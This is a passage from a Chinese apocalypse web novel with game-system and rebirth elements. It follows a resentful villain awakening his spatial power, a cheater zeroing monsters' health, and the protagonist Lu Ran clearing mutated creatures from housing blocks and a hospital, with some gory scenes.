白宁宁恐慌地看向自己的手臂，她原本还算健康的肤色不知何时已经变成了苍白一片，青紫色的青筋肉眼可见且无比突出。 那就是她看见的最后一个画面了。 柳寒看着因为血量被他修改成了“1”，所以被他一推就因为磕了一下而死去了的医生，撇了撇嘴，有些不高兴。 “什么嘛，居然没有击杀奖励吗？” 他推开诊疗室的门。 门外，有好几个怪物。 整体上还算像人，但细节上就长得奇形怪状的，不过他懒得看它们的形状，他的目光始终只停留在它们旁边的黑底白字的小框上。 变异方向，血量，等级，都显示在这个小框上。 他把这些东西的血量通通修改为0，然后掏出从白医生桌上拿的美工刀，一个一个捅了过去。 然后他满意地看到眼前的像素风格标签框里出现了一条提示——“您击杀的怪物拥有掉落品，请及时收取。” “原来是这样……要击杀怪物才有奖励吗？好的。” 他拿着那把美工刀蹲了下来，在被他杀死的怪物头上猛地插了进去，然后像切西瓜那样猛地一扭刀把方向，接下来又辛苦地翻找了一下，终于从一堆红红白白的污秽中找到了“掉落物”。 “好脏。” 但是随着那枚流光溢彩的晶体在他手上逐渐化为一枚空壳，而他隐隐感到那些能量都流入了他体内，他又觉得，脏就脏点吧。 他朝走廊前方走去，突然间有什么东西从背后扑上了他，他看见自己的血量掉了1。 不过没什么关系吧，他早就在出门前就把自己的血量调整到这个作弊器的上限了——99999。 他转过头去，看见了一只蹦跶到了他身上的蟑螂。 “是蟑螂啊……可敬的适者生存模板，应该更郑重对待一点。” 于是他没有修改这只蟑螂的血量，而是以最传统的方式，脱下鞋把它拍死了。 “让我们来看看接下来还有什么吧。”. “哈哈哈哈哈哈！！来了！！末世终于来了！！” 一间狭小的出租屋里爆发出了一阵癫狂的大笑。 这是一间很普通的出租屋，房子应该很有些年头了，墙上的白色墙皮大部分都已经被泡发了，这里脱落一块那里脱落一块的，露出了里面的水泥。 兴奋地站在屋内大喊的，是一个平平无奇的，看上去大概在二十岁到三十岁之间的男性青年。 明明穿的并非是灰色的衣服，但他浑身都有种灰不溜秋的感觉，丢进人堆里大概就再也找不着了，这种平凡的长相和气质使他脸上的那种狂喜的癫狂表情显得非常违和。 在这种狂喜中，他兴奋地举起右手，然后猛地朝前一探，手里就多出了一只小仓鼠。 这只仓鼠是隔壁邻居的。 明明只是一只老鼠而已，凭什么过得比人都好，呵呵，他每天吃的都是什么？难吃的要死的预制菜，难吃也就算了，说不好还加了止泻药才没让他吃到上吐下泻，而这只仓鼠，过得什么金贵的少爷日子，新鲜的蔬菜水果，它主人还专挑那些贵的要死的水果喂它，什么樱桃，什么车厘子之类的东西。 他看这玩意儿不爽很久了。 但是末世没到之前，他也顶多只能看它不爽，却做不了什么，那个主人又把她的仓鼠保护得很好，几乎不离身，去哪里都带着，就跟真养了个孩子一样。 更何况……他也不敢做什么，他要是敢对这只仓鼠做什么，这个莫名其妙的女人肯定当场就得报警，这年头的人简直有病，宠物失踪这种小事也值得报警。 上一次末世的时候，他在发现了自己觉醒了什么能力之后，在想到要试验一下自己的能力时，立刻就想到了这只臭老鼠。 是的，他是重生者。 不过和大多数重生者不同，在发现自己重生了的那一瞬间，他简直烦得要死。 那天，他睁开眼睛，原本是打算再去研究所搞点事的，老大给他的任务他已经做完了，但不妨碍他再给研究所这群胆小鬼加点料。 结果一睁眼，他就回到了这个噩梦般的房间，抬头就是又低又丑的天花板，让他瞬间回到了那段逼仄压抑的时光。 起初，他还以为又是哪个精神系异能者对他使用了能力，把他带到了幻境之中。 但是他很快发现，他是真的回来了，没有哪个精神系异能者可以制造出如此广阔而真实的虚假世界。 草！他他妈的居然真的回来了！ 谁他妈的要回这个正常到无聊的世界啊？！ 在这个世界里，他就是一个平平无奇的路人甲，一只阴沟里的老鼠，比隔壁那只真鼠都过得更下贱，谁爱回到过去谁回吧。 他简直烦躁得要死，骤然回到异能和其他能力全都消失不见的时间，他觉得自己就像被人戳瞎了眼睛，弄聋了耳朵一样，而且他都不知道有多久老老实实走到自己想要的东西面前然后拿起它们了。 更重要的是，前一天他还是众人无限畏惧的强大异能者，无论是崇拜他，还是恐惧他，没有人可以忽视他的存在，就连研究所那帮眼高于顶的龟孙子，知道这次是他带队进攻之后，也不得不如临大敌地把所有防御措施都启动，但是现在全回来了，那种就算站在别人面前他们也跟看不见他一样的感觉全回来了。 还有那些有两个小钱就鄙视他的人，他一回来就想起来了，他那时候最讨厌的事就是出门倒垃圾，因为他们小区这个垃圾桶旁边不知道为什么总是有闲得没事做的中年大妈在站着聊天，她们就跟真的一天到晚没事做一样，唯一做的事就是互相炫耀自己的儿女，瞬间用鄙视评判的目光扫过每一个来倒垃圾的人，看见一个倒垃圾的人，就能嘴一家人。 至于他嘛……孤家寡人的失败者，她们要做的事就轻松很多了，只需要用那种嫌恶鄙夷的眼神扫过他，再轻轻用手捂住自己的口鼻，就像他比这一排的垃圾桶更臭一样。 他握紧了双拳，他已经不知道有多久没被人用这种眼神看过了。 呵呵，没关系，先忍一时，等末日来了，这些人都得死，就算有谁幸运地没死成，没关系，他也会送他们上路的。 他反复地对自己这么说着。 出门去倒垃圾的时候对自己这么说。 在明明是自己忘了给他派任务但最后反倒来骂他为什么没做完事情的上司面前低头喏喏的时候对自己这么说。 被真的跟个瞎子一样看不见他这个路中间的大活人的人撞上来，对方还连个道歉都没有只嫌弃地看了他一眼就走了的时候对自己这么说。 都得死，你们都得死，都给我等着。 等末世来了，你们这些高高在上的人就要和我对换地位了，那时候你们也尝尝被人当成低等下贱物种对待的感受吧！哈哈哈！哈哈哈哈哈哈！ 末世！末世到底什么时候才会来！ 他很努力地想要回想起末世到底是哪一天来的，他还要等多久？ 但是，每一天对他来说都是差不多的，他已经很久很久没有过时间真的在流逝的实感了，他过的只是循环的一天而已。 有那么一瞬间，他想起了上学的日子，那时候他也是个无人在意的透明人，但那时候，他还分得清哪天是哪天，还知道自己在过什么样的生活。 时间一天又一天流逝，末世还是没来，上司还是在他面前耀武扬威，垃圾桶边的中年人还是每天在对他投以鄙夷的目光。 他内心的恐慌越来越重。 末世还会来吗？ 他不会重生回了一个没有末世的时间线吧？？ 等等，研究所那帮龟儿子不会真的研究出让世界恢复正常的法子了吧，难道他们觉得将末日后的世界恢复正常并重建太困难了，所以选择改换研究目标变成回溯时间了？ 这是能做到的事吗？ 他费劲地用自己生锈的大脑思考着这个问题。 老大开会的时候倒是好像提过研究所的最新方向……但是他每次这种会都睡得很死，反正老大会制定好计划的，他只用负责执行就好了，而且老大也从来不会强求他们一定要认真倾听他说的每一个字。 因为老大才不像他这个傻逼上司，知道自己讲的废话没人会听所以才一定要在开会期间一遍又一遍确认他们都醒着，老大可不一样，老大知道自己的话很重要，只要讲出去就会有人在乎，所以才不需要这种无聊的确认形式。 所以那时候老大到底说了什么来着……研究所那帮废物不会真的搞出什么大突破出来了吧？ 他一边建了个《神域》的号练级，一边勉力按捺住自己的不安。 只是那很困难，只是一想到他有可能一辈子都要困在这个平凡的充满了腐烂规则的世界里，他就很想彻底炸了这个世界。 幸好，幸好……在他煎熬了三个多月之后，末世终于如约而至！ 他都没法形容他今天中午从床上醒来的时候的感受，他刚准备好听自己的脊背发出一阵咔啦咔啦的声响，然后慢慢地睁开眼睛，不情不愿地面对周末刚来就已经少了半天的事实，然后他发现，自己的视力回来了，他的听力也回来了！ 恢复正常的听力让他轻松地听见了小区里不同于往日的异常响动，他听得见污染物互相厮杀的声音，也听得见污染物啃咬尸体的声音。 他猛地从床上跳了起来，伸出手，感受了一下力量在他体内尤其是双手中流淌，然后忍不住爆发出了一阵大笑。 回来了！他的异能也回来了！ 他的异能可是最强的那一批。 他觉醒的是空间异能，而且不是那种只有个随身空间的所谓的“空间异能”，那种废物简直不配和他共享空间异能持有者的称号。 他的空间异能要灵活得多，只要他清楚地了解对应坐标的所有情况，就可以对那个特定的坐标做出影响，比如他刚刚做的那样，将隔壁的仓鼠直接抓到手里，当然，他也可以直接对那个坐标点发起攻击，但是他一向享受猎物在他面前死去的快感，如果看不见他们死亡时的痛苦与惊恐，那也太可惜了。 他脸上露出了一个残忍的笑容，手中的仓鼠瞬间像是被无数条锋利的丝线切割了一半，鲜红的血从他的指缝间滴落下来， 他深深地吸了口气——啊，就是这个味道，他怀念的就是这个味道，新鲜血液的气味，钻进鼻子里的时候有点刺鼻的腥气，爽极了。 如果说他对自己的这个异能还有什么不满的话，就是他居然还得呆呆地像个普通人一样移动。 他可以对已知坐标点的空间内的任何物体施加影响，却没法对自己施加空间上的影响，所以他不能做到像电影里那样瞬移，可惜了，否则他也不用那么麻烦非要把猎物抓过来再杀死了。 而且这也导致了他的第一场大败……不过这倒是无所谓了，因为赢了他的人是老大，老大给他展现了他们能做到的事有多么多，而不是只是像他最初那样的小打小闹。 说起老大，他该启程前往C市了。 早点和老大汇合为好，而且他还记得老大说过什么—— “C市……可惜了，从C市活下来的人都是强者中的强者，但他们却因为前期的惨痛对末世痛恨不已，几乎全是一些想要早点结束末世的傻子，研究所的拥趸。 “啧，真是太可惜了。” 他还记得他那时候回答了什么：“也没几个，都杀了不就好了。” 老大叹息着摇了摇头：“杀了他们只是消减了研究所的力量，却对我们没有多大影响，我想的是，如果当初我没有，导致是个C市的异能者都投向了研究所，如此此消彼长，我们的实力与研究所相比怕是也不差什么了，我当初逞一时之快，却好像把原本的好苗子都玩坏了，真是可惜。” 他对老大这番话颇有些不以为然，要老大放水才能领会到末世混乱严酷之美的软蛋，根本不适合成为他们的一员吧，不过既然这是老大理想布局的一部分……而且这些人拉来应该也只是当炮灰，倒也不是不可以。 而且这绝对能让他在老大面前压那个混蛋一头。 呵呵，为了更高的目标，他就稍微去给C市这群人减轻一下负担吧. 陆燃和江朗在十一点半的时候准时被闹钟叫醒，赖了十五分钟床之后正式起床，然后最后玩了十五分钟手机。 由于之后就没有手机玩了，磁场变化会导致所有电子设备失效，不光是没网的问题，是手机会彻底变成一块砖，所以他们争分夺秒地看了会儿无聊的网络骂战，作为对互联网时代的最后怀念。 12：00。 早早准备好的机械表终于“咔嗒”一声走到了这个位置上。 陆燃觉得，就外界环境而言，这个末日降临得有点平淡，工厂仓库中间的大空隙处可以看见一条天空，刚好把太阳囊括在内，至少在那一瞬间，天空和太阳都没有任何明显的改变。 再加上他们租的这个工厂仓库坐落于非常偏僻的地方，既看不见人也看不见动物的。 光看周围环境，他大概会觉得什么都没改变。 不过他身上光速出现的游戏装备证明了他的表是准的，现在确实是十二点——江朗所说的末日来临时刻。 还有猛然增强的感官。 一瞬间，他觉得自己能听见仓库范围内最窸窸窣窣的声音，不管是微风吹过包装盒的声音，还是远处角落里蟑螂爬动的声音。 有点吵。 他这样想着，把听觉关闭了大半，调整回了比他原本的听觉范围只高一点点的程度。 但除此以外，他身上就没别的变化了。 他有点困惑，因为照江朗的说法，他上一世是有异能的，只是江朗最后还没来得及问他的异能是什么，他们就先后死亡了。 而江朗还跟他说过，异能觉醒的时候会发烧，事实上他的原话是这样的： “异能觉醒的时候好像会发烧，我也不确定，是之后遇到的其他人跟我讲的，我因为当时在睡觉……所以其实什么都没感觉到，醒来之后也不知道自己有了再生异能，是之后受伤后才发现的，不过我应该也是烧了的，因为我醒了之后浑身都是汗。” 但是他摸了摸自己的额头，这应该是没有热度吧…… 烧了吗？ 难道是烧太快了他没注意到？ 他对自己的身体感知能力真的有差到发烧了都没感觉出来吗？ 他有些困惑，难道其实他没有异能？ 他带着这份困惑，闭上眼，开始在身体里“寻找”异能的存在，只能先相信再相信了。 而他确实在他身体里找到了不属于他自身的能量。 很小很小一团。 他有一种感觉，那就是属于他的异能。 虽然他更困惑了，他刚刚真的发烧了吗？ 难道真烧了吗？ 算了，问题不大。 他试着去触碰那团不属于他的能量，而就在那一刻，他的耳朵里响起了奇怪的声音。 他下意识皱了皱眉，因为那声音有股子让他烦躁的吵闹感，虽然并不重。 他下意识地又调低了一点他的听觉。 但是没用。 那声音……好像不是从外部传来的，而是直接从他脑海内部响起的。 细碎的，嘈杂的，而且无法关闭的声音让他突然非常暴躁。 他很少有这样突如其来的强烈情绪，但是那种脑海挥不去的声音真的很烦人，所以或许这是情有可原的。 他深呼吸，试图靠这项传统的平心静气的方法让驱除这股突如其来的烦躁。 只是他越想要将脑海中的那些声音排除出去，它们就好像越清晰。 “你……界……” 陆燃皱了一下眉，是幻听还是他的大脑自动把无意义的噪音转化成了有意义的字词？为什么他觉得他脑海中那个很轻但又足够惹人厌烦的噪音像是在说话？ 他皱着眉，努力关闭自己的所有感官，专心去听脑海中那个声音到底想对他说什么。 一时间，他仿佛置身于绝对的黑暗与寂静之中，就像是身处静谧的宇宙。 然后他听见了，那个声音确实在对他说话。 它在说—— “你要……世界……” “你要……世界……” 你要什么世界？ 陆燃努力压下心中的烦躁，无限集中注意力。 “你要……成为……这个……世界……的……” “你要……成为……这个……世界……的……” “……神。” 陆燃：“……” 妈的有病吧。 他差点气笑了，难以想象他居然为了听清这么一句话努力集中了半天注意力。 “神经病。” 他冷淡地睁开眼，薄唇轻启，骂了一句。 第27章 第 27 章 他没兴趣替别人做出选择…… “神经病。” 陆燃骂完之后, 那个单句循环的声音突然卡顿了一下。 但是很快又继续重复起来： “你要……成为……这个……世界……的……神……” “你要……成为……这个……世界……的……神……” 被他骂完，这个声音反而越来越大声，一点都没有刚刚那种要别人努力听才能听明白的隐约感了。 随着这个声音逐渐变大, 陆燃现在可以清晰地听见整个句子在他脑海中不停回荡。 他胸中那股不可控的怒火也随之越来越旺盛，直到他忍无可忍, 一拳砸在了离他最近的集装箱上。 “闭嘴！” 出乎他意料的是, 那个声音真的闭嘴了。 他反倒有些愣神。 他愣了一会儿，也没心思重新去看异能是什么了，反正知道有异能就行，至于有没有发烧的, 也无所谓了, 他那团异能那么小, 估计是因为太弱了所以“嗖”得烧了一下就退烧了吧。 为当务之急是赶紧把失去了电源的冰柜们装进背包里。 他从气垫床上跳起来, 扭头准备喊江朗一起行动，转眼却看见江朗一脸痛苦地单手撑地, 他所有裸.露在外的皮肤都火红得像是刚从开水里捞出来, 陆燃甚至可以看见他身上在轻微地冒烟，皮肤也有点皲裂的迹象。 陆燃愣了一下。 虽然他觉得异能觉醒不该是他这样光速烧了一下就退烧, 怎么想都该更严重一点, 但是江朗这看起来……岂止是发烧，感觉他下一秒就要自燃了。 怪不得他刚刚自言自语的时候江朗一点动静都没有, 他看起来就快烧晕过去了。 他连忙伸手去扶江朗, 把他带回了气垫床上, 这气垫床的质地是塑料的, 勉强还保留了一点意识的江朗连忙把脑袋靠了上去，试图进行一些物理降温，不过还没两秒, 气垫床的温度就被他同化了，瞬间就失去了降温作用，幸好这时陆燃已经带着三瓶水过来了。 一瓶直接打开给他喝，剩下两瓶放在他脑袋上降温。 江朗艰难地朝陆燃挤出一个笑容：“早知道还不如直接睡过去了……我去……我没想到这发烧这么厉害啊，我上辈子居然没被直接烧傻，也是奇迹了……” 陆燃伸手摸了一下他的额头，还真是，这体感绝对有四十多度了，江朗没被烧傻只能说是奇迹，或者说一种超自然力量入侵的明证。 “你先躺会儿吧，我去装物资。” 江朗听见这句话，立刻挣扎着坐了起来：“我也一起……” 陆燃皱眉：“你都烧成这样了，急这一会儿吗？” 江朗：“当然急啊……万一过会儿鱼变质了怎么办！谁知道这高烧要持续多久……你呢，你不难受吗？” 陆燃摇了摇头：“我不难受。” 他顿了一下，接着说：“可能就烧了一下吧，我都没什么感觉。” 江朗瞬间露出了羡慕的神情：“怎么这样……” 陆燃淡定分析：“烧的程度和时间也许和异能强大程度有关。” 江朗这次睁大了眼睛：“怎么这样？！” 陆燃耸了耸肩。 江朗：“所以你觉醒了什么异能？” 陆燃想了下，就像他刚刚所说的那样，装物资也不急这一时，于是他集中精神，唤出了身体中出现的新能量。 然后，一团火出现在了他指尖。 嗯……一团火听起来可能有点大了，准确地说应该是一小撮火苗。 江朗因超高烧而痛苦得直皱眉的脸上出现了一丝喜悦：“哇……火系异能，很不错啊！可以补足你的攻击短板了！” 陆燃感受了一下，慢吞吞地说：“但是这就是它最大的范围了。” 江朗：“？” 陆燃：“嗯，我已经把这团火放到最大了，而且……我有个猜想。” 他说着左右看了一下，瞄准了墙角一只变异方向大概是巨大化的蟑螂，那只蟑螂现在大约有人头那么大，迈着七倒八歪的步伐，好像正在适应它的新身体和新视野，陆燃操纵着他指尖的火苗飞向了那只昏头昏脑的蟑螂。 那一小撮火苗接触到蟑螂的外壳后，蟑螂身上发出了噼里啪啦的烤焦声。 变异蟑螂猛地被火一燎，瞬间张开双翅飞了起来，似乎想要扑腾灭自己身上的火。 但是那团火就是如附骨之疽一般哪儿都不肯去，牢牢地粘在了它的背上，纹丝不动，就跟空气的流动对它毫无作用一般。 很稳定的一团火啊。 这方面的稳定倒是好事，但另一方面的稳定就不是很好了。 陆燃和江朗可以清晰地看到，那团火丝毫没有蔓延的意思，它在大小上也非常稳定。 哪怕陆燃选定的攻击范围是蟑螂的背和翅这一块，它也丝毫没有要顺着易燃的翅膀烧开去的意思。 连个蟑螂都烧不死，陆燃在心里默默锐评，他这个觉醒的异能是不是有点弱小得过分了。 他随手丢出一个心灵震荡，送这只被他拿来验证心中猜想的蟑螂归西。 然后又从旁边扯了张面巾纸出来，把那撮小火苗移到了面巾纸上，然后刚好烧出了一个洞之后，面巾纸就不再燃烧了。 江朗：“……” “果然，这个异能完全不符合科学定律。” 陆燃开口。 “它的攻击范围就是它本身的大小，不会顺着易燃物蔓延。” 江朗忍不住睁大了眼睛：“这得吃多少晶体才能升级到可以烧死一个人形污染物的地步啊？？？” 污染物体内有晶体，越高级的污染物体内的晶体能量就越高，不管是异能者还是污染物，升级靠的都是掠夺吸取这些晶体的能量。 当然，游戏系统携带者没法通过这种方式升级，他们的升级道路在末日降临那一刻就关闭了。 江朗的担忧非常合理，陆燃靠“收集”这一生活技能从死去的巨大化蟑螂身上获得了一个玻璃质地的晶体后，直接吸收了，然后先自我感觉了一下。 该怎么形容呢，那点能量就跟泥牛入海一般，像是被深邃的漩涡吞噬了并且没有留下一丝痕迹，反正感觉对他的异能没有任何显著影响。 重新把火焰召唤出来一看，果然基本没有任何变化。 江朗目瞪口呆，他的脑子有些打结，不过他很快又乐观了起来：“没事！问题不大！我们两个人联手足够横扫C市所有的污染物了！一整个城市的晶体给你的异能升级，这个……这个火苗怎么都能长到火焰的地步吧！” 江朗瞬间有点庆幸他选择了在C市进入末日，这要换个偏僻地方，陆燃这异能得升级到猴年马月去啊…… 被陆燃的异能这出一打岔，江朗感觉自己的头好像都没那么痛了，大概是因为猛然提起的干劲给他提供了一些肾上腺素吧。 他猛地一下从气垫床上站了起来。 然后他很快发现“好点了”这事儿纯属他的错觉，站起身后，他确信自己的大脑里现在绝对是一团浆糊，晃一晃可以把脑浆摇匀的那种程度。 但是！ 赶快趁着冰柜里的冰还没化赶紧把物资收到背包里真的很重要！ 于是，靠着对未来十年甚至更久的时间内都有新鲜食物吃的渴望，江朗艰难地顶着满眼的金星迈出了第一步。 陆燃知道肯定劝不动江朗，他也就不劝了，分头和江朗一起从两边开始将集装箱和打包箱都收进背包内。 两人各搞定了99的集装箱和99的冰柜和99的打包箱，花了大概十几分钟，江朗收完最后一个集装箱，直接坐在了地上。 他感觉自己现在什么都看不清，也什么都听不清，过高的热度使得他眼前尽是模糊一片，耳内尽是轰鸣一片。 但与此同时，突然增强的视觉和听觉又让他摄入了比平日里多得多的信息量，简而言之，就是无比多的信息量配上无比模糊的输入渠道，让他现在整个人很想吐。 他模模糊糊地看见陆燃走了过来，然后听见陆燃的声音在他耳中扭曲地响起，很像被挂了什么奇怪的效果器： “你先躺会儿吧，反正现在这个阶段的污染物不可能对我造成任何伤害，而且你说它们现在血量也不高，我的伤害技能应该已经够用了，等你烧完了再和我一起，反正我会回来补充水和压缩饼干的。” 江朗艰难地点了点头，虽然他很想去救人，但是他现在的状态，别说救人了，能站稳都够呛。 对此，陆燃只能表示，应该是再生这个异能太逆天了，所以江朗的觉醒过程才这么变态吧。 江朗艰难挤出：“那你加油……” 陆燃“嗯”了一声，就从旁边取了99的矿泉水，99的压缩饼干和99的水果罐头走了。 顺便拆了一份水放在江朗旁边，防止他在他出走这段时间脱水。 出了仓库门，他启动早就准备好的车，油门踩到底，直接朝最近的居民区飞驰而去。 开进最近的小区大门，陆燃直接开启感知。 刚刚他嫌烦，就把突然增强的感官给关了，现在则要用来听一下这个小区里哪里有人活着。 他开启感知，听力范围内的动静突然就清晰了起来，他可以听得见最近的这栋楼里有个紊乱的呼吸声和意义不明的低语，这个声音楼上另一侧的隔壁则传来了平稳的呼吸声，听起来像是没睡醒——是个好运的在睡梦中进入了末日的人，不需要受到太多惊吓，而在这平稳的呼吸声附近，则是窸窸窣窣的昆虫足的声音，嗯，这整栋楼里都听得到蟑螂的声音——这就是南方。 他率先前往这几个有活人的房间，踹开离他最近的那间屋子的房门，里面传来了一声巨大的尖叫。 应该不是被异变的怪物吓到了，而是被破门而入的陆燃吓到了。 陆燃看着门内一脸惊恐地望着他的年轻女人，懒得解释，直接一个精神链接控制了屋内所有的异变动物和植物，然后一个心灵震荡把它们全都送走。 他从背包里掏出一份压缩饼干加一打矿泉水，还有一箱水果罐头，放在了这个饱受惊吓的女人面前。 他粗暴的作风让这个年轻女人好半晌才反应过来他是来救人的，留下的也是救命的物资，她连忙喊住转身就要走的陆燃： “你好！请问……请问这是怎么回事？你是官方人员吗？我们这里会被接管吗？之后……之后会有大部队过来吗？” 她问了一连串问题，陆燃虽然转回了身，但是除了转身还要回答这么多问题显然超出了他的耐心范围。 他深吸一口气，早知道应该在末日开始之前印一堆末世指南之类的手册，见一个人发一本，这样他就不用说话了。 “末日来了，所有有生命的东西基本都产生了异变，你是幸运儿，活了下来。” “不是官方，就是路过，不会有接管，没有大部队，你现在有两个选择，拿着我给你的物资躲起来，或者找点防身的武器，去你觉得活下来概率高的地方。” 说完，他没有再看一脸如丧考妣的年轻女士一眼，因为他听到对面楼上有尖叫。 那边的情况好像比较危急。 他从背包里拿出了一个名为“攀爬绳索”的道具，这在游戏里是属于夜行小偷的物品，可以将使用目标定位在任何墙面或者屋顶上。 他和江朗收集了99的该道具，因为觉得这个功能在现实里应该很好用。 他将绳索的目标选定在对面那栋楼一间很明显听不到活人气息的房间的窗户上，然后骤然一拉，一道白色的身影就这么在空中划过，破开那扇可怜的窗户而入。 他顺手往房间里丢了个心灵震荡，打算救完人回来收晶体。 然后他走过不大的房间，打开门，走过狭窄的走廊，踹开了对面的门。 门内的租户应该是个蛮有生活情调的人。 因为第一时间出现在陆燃视野内的，是狭小的房间内的一大片盆栽。 很多很多花，各种各样的，原本应该是很好看的，单看它们排列的方式就看得出来主人花了很多心思在上面，但是它们现在变成了……比较诡异的形状。 一株花的花苞上长出了人脸，还不是什么很规则的人脸，两只眼睛竖着排列在左上方和右下方，鼻子不太像人的鼻子，嘴巴是占据面积最大的，一道狭长的嘴横跨整个花苞，并且裂开的嘴里看得见一排尖细的牙齿，很细很细，牙齿之间的间距比牙齿本身更宽，而且前后长度偏长，看起来简直就像……简直就像一个人磨了嘴里的全部牙齿但还没来得及装上牙冠一样。 这个房间的窗帘是一种偏猩红色的半透明窗帘布，阳光透过这么一层东西照进来完全成了红色，也是一点没有给这副美景增添一些能看的程度。 陆燃看得有些恶心。 顺手一套连招上去，感谢这堆东西全部在一块，很好处理。 然后他转头看向活人的呼吸传来的方向。 是个年轻女子，他刚要执行“交付物资——解释情况”这一行动步骤，就发现了不对。 她怀里抱着一个婴儿，而那个婴儿正在异变。 他的嘴，在扩大，变成刚刚那朵花上长的嘴的样子，他咧开嘴的时候，陆燃甚至可以透过他的喉管——如果那是他的喉管的话——看见他空空如也的身体内部，效果非常奇异，不过很快就有很方便的看清他体内已经没有应有的内脏的方式了，因为它的皮肤正在变得透明。 总而言之，除了眼睛鼻子没有错位，大致还能看出他以前是个挺可爱的小孩之外，他已经是个明显得不能更明显的污染物了。 于是他站在原地，漠然提醒：“那个孩子，异变了，你最好把他放到地上，我的攻击是范围性的，你抱着他我会误伤你。” 那女人显然愣了一下，像是没懂他在说什么，但是她捕捉到了“孩子”这个词语，下意识地低头看了眼她怀中紧紧抱着的，自己的孩子。 那一瞬间，陆燃可以看出她作为人的本能瞬间压倒了作为母亲的本能，她的瞳孔紧缩，明显地露出了被惊吓的反应，双手差点把怀里的怪物丢出去。 但让陆燃不解的是，她很快克服住了这种本能，双手紧紧地攥住了那孩子，像是生怕自己控制不住将它丢出去一样，过于用力，指节因此而泛起了白色，陆燃怀疑，如果不是那婴儿已经异变了，这么大的力气肯定会让他因为痛苦而哭出来。 “不会的……不会的……他会好的……小说里，电视上不是都是这么演的吗？他只是幸运觉醒了……觉醒了异能！对！就是这样的，等他觉醒完毕就好了……就好了……” 她不断对自己重复着这几个字，陆燃皱眉，他看着那婴儿长大了嘴，要朝女人身上咬去，他想了想江朗会怎么做，于是顺手一个精神链接丢了上去。 刚刚见过他是怎么伸伸手就弄死了一片怪物的女人见自己的孩子突然安静了下来，并且身上出现了一道诡异的银色丝线一直连接到这个陌生人身上后，她猛地尖叫了起来，朝陆燃扑来：“你对他做了什么！你对他做了什么！啊啊啊啊——” 陆燃厌恶地皱起了眉，他向来不喜欢别人靠他太近，更何况那变异婴儿流了一大堆口水在女人身上，闻着就腥臭无比，鬼知道是变异出什么基因来了。 他用了个带推动目标效果的技能，将对方推开。 然后开口：“我没伤害他，我只是控制住了他，总共有十五分钟的效力，只要没有外物伤害他他就不会醒来，你可以趁这段时间决定是要他活还是要你自己活。” 他没有任何想要掩饰真相的意思，直接暗示了最后的结果只有两个，要么她死要么这个怪物死。 不过他没兴趣替别人做选择，或者帮别人做选择，所以说完这句话，他就出门走了。 好事他已经做完了，对方想不想活就是她自己的事了。 反正一个睡着的婴儿，哪怕是变异的怪物，也依旧是没什么杀死难度的。 他来到下一个有人类呼吸的房间，这次的存活租户是个这个点了还在呼呼大睡的宿醉中年大叔。 鼻涕泡像动画片里一样冒出来，房间内的变异蟑螂正要饱餐一顿就被陆燃送走了。 非常认真地把这个房间“打扫”了一遍之后，他还特意留下一盆“漏网之鱼”，一盆小小的变异盆栽，放到了阳台的玻璃门外面，打算当作给这个睡得呼呼作响的房主作为警示和练手——陆燃觉得自己真的是非常贴心。 陆燃随手带上房门，去了下一间。 之后就差不多都是同样的流程，总的来说还是挺轻松的，因为这栋楼里有闲情逸致养宠物或者特别多植物的人是少数，基本都只需要处理一些奇奇怪怪的昆虫。 他花了十几分钟把这个小区里有活人的房间跑了一遍。 然后低头看了眼，距离“精神链接”的十五分钟时效已经只有一分钟不到的时间了，但是那条银色的细线依旧挂在他身上，那条细线非常非常细，又是银色的，在正午的阳光几乎显得透明，但是它确实就在那。 这说明了两点。 第一，那个女人下不了手。 第二，原来精神链接的作用范围这么广。 和游戏里还挺不一样的，游戏里他的角色如果趁把对方控住的时间跑出去一段，只要跑出脱战的距离，精神链接的效果就也会跟着失效，现在看来现实世界倒是没这么多限制。 织灵者在现实中能发出来的能力比他原本估计的还要bug。 好像能理解为什么他上一世顶着那样一个号，觉醒的又是那么……不知道该怎么形容的异能，居然还能坚持到最后和江朗汇合了。 没过多久，挂在他身上的那条银色细丝彻底消失了。 他随后又花了点时间把这个小区从头到尾清扫了一遍——不然刚把人救下他们就又要死在其他房间窜来的污染物手下就很不好。 走到刚刚去过的那间属于母亲和儿子的房间时，他推开半掩的房门。 那个年轻的母亲已经成了一具——哦不对，半具尸体，被那个怪物婴儿啃的七七八八。 对于这个场景，陆燃并没有什么惊讶，他在很远的地方就已经听到了这个小怪物在地上爬来爬去的声音。 他伸出手，带走了这只小怪物的生命。 然后走向了下一间房。 第28章 第 28 章 医院惊魂（上） 连续跑了好几个小区后, 陆燃背包里的压缩饼干并矿泉水并水果罐头终于基本用完了，背包里拢共就剩两份物资了，肯定不够下一个大小区用的, 该回去补充一下了。 不过他并没有急着立刻回去，车都开出来了, 他还有个挺重要的任务。 他背包里有两个格子, 里面放了很多空的打包箱，而这些打包箱是用来装药的，末世导致的断电，会导致医院里一些需要恒温保存的药物失去储存环境。 而他和江朗作为遵纪守法的好公民, 又不能在末日来临前就先去扫荡医院, 所以他们就打算干脆拖到末日来临之后, 去走一趟C市的医院, 把一些药物——常见的罕见的——都存起来，万一碰上倒霉的缺药幸存者, 还能提供给他们。 幸好他们选的这个仓库位置虽然偏僻, 但是距离C市最好的医院还是挺近的。 他开着他们那辆越野，风驰电掣地驶向了C市的第一医院. 剧烈的轮胎擦地声后, 陆燃打开车门跳下了车, 然后稍微调大了一些他的听觉范围。 医院的声音非常非常杂。 人太多了，尤其是今天还是周末, 本来就是来看病的人最多的时候, 陆燃耳朵里的声音简直乱成了一团。 他尽力去区分这些杂七杂八的声音, 但哪怕这些声音在他耳朵里渐渐分出了层次, 他也基本听不到任何幸存者的声音。 医院的构造就注定不会有什么幸存者存在，因为基本所有环境都是暴.露的，没有什么可以躲藏的地方, 也很少有单人间，就算是幸运的没变成污染物的病人，一进末日也要立刻面对异变的同房，幸存率自然比小区之类的地方低得多。 这也是他选择趁着回去之前先来一趟医院的另一个原因。 让江朗看见这种毫无幸存者的环境，他大概会挺难过的，干脆趁着他在发烧清理掉就好了。 嗯？等等。 好像还真有一个。 他在一片嘈杂中听到了一个很低但均匀的呼吸声，不过这不是他判断有活人的理由，他判断的理由其实是他听到了一句字正腔圆的“草”。 他朝着那个骂声传来的方向走去。 随手推开病房门。 他看见了非常熟悉的银色丝线。 这里的存活者是个织灵者？ 他看向银色丝线的中心，看见了一套应该是织灵者四五十级时期的装备，如果江朗没重生回来，他现在应该穿的也是这套。 那个少年正一脸慌乱地看着被他控制住的污染物们，明明是他占上风，但他脸上就是有种不知所措，完全不知道下一步该做什么的忙乱感。 